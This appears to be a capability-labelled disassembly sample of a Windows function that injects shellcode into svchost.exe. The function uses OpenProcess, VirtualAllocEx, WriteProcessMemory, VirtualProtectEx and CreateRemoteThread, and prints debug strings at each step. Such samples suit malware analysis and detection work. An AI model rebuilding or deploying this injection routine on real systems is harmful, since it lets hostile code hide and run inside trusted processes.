Function at 0x1400018f0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea r9, str.svchost.exe
mov r8d, 0x1b2
lea rdx, [0x140008040]
lea rcx, str.___RemoteInjectionFromMemory__Address_:_0x_X__Size_:__d__Process__s__n
call fcn.140001020
call fcn.1400011e0
mov ebx, eax
cmp eax, 0xffffffff
jne 0x140001952
lea rcx, str.____Error_when_retrieving_process_PID_n
call fcn.140001020
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003370
add rsp, 0x50
pop rbx
ret
mov edx, ebx
lea rcx, str.___Target_process_PID_:__d_n
call fcn.140001020
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001999
lea rcx, str.____Error_when_opening_target_process_n
call fcn.140001020
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003370
add rsp, 0x50
pop rbx
ret
lea rcx, str.___Target_process_opened_successfully_n
mov qword [rsp + 0x68], rdi
call fcn.140001020
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x1b2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400019ed
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.____Error_when_allocating_memory_n
call fcn.140001020
xor eax, eax
jmp 0x140001b5d
mov rdx, rdi
mov qword [rsp + 0x60], rsi
lea rcx, str.___Memory_allocation_for_shellcode_at_:_0x_X_n
call fcn.140001020
xor esi, esi
lea r8, [0x140008040]
mov r9d, 0x1b2
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001a56
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____Error_when_writing_the_shellcode_into_the_target_process_n
call fcn.140001020
xor eax, eax
jmp 0x140001b58
lea rcx, str.___Shellcode_successfully_copied_n
call fcn.140001020
lea rax, [rsp + 0x40]
mov r9d, 0x20
mov r8d, 0x1b2
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x140001ab9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____Error_when_modifying_memory_protection_n
call fcn.140001020
xor eax, eax
jmp 0x140001b58
lea rcx, str.___Shellcode_now_executable_n
call fcn.140001020
mov qword [rsp + 0x30], rsi
mov r9, rdi
mov dword [rsp + 0x28], esi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
jne 0x140001b1a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
lea rcx, str.____Error_when_starting_the_thread_n
call fcn.140001020
xor eax, eax
jmp 0x140001b58
lea rcx, str.___Thread_created_n
call fcn.140001020
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001b53
lea rcx, str.____Error_waiting_for_thread_to_finish_n
call fcn.140001020
xor eax, eax
jmp 0x140001b58
mov eax, 1
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003370
add rsp, 0x50
pop rbx
ret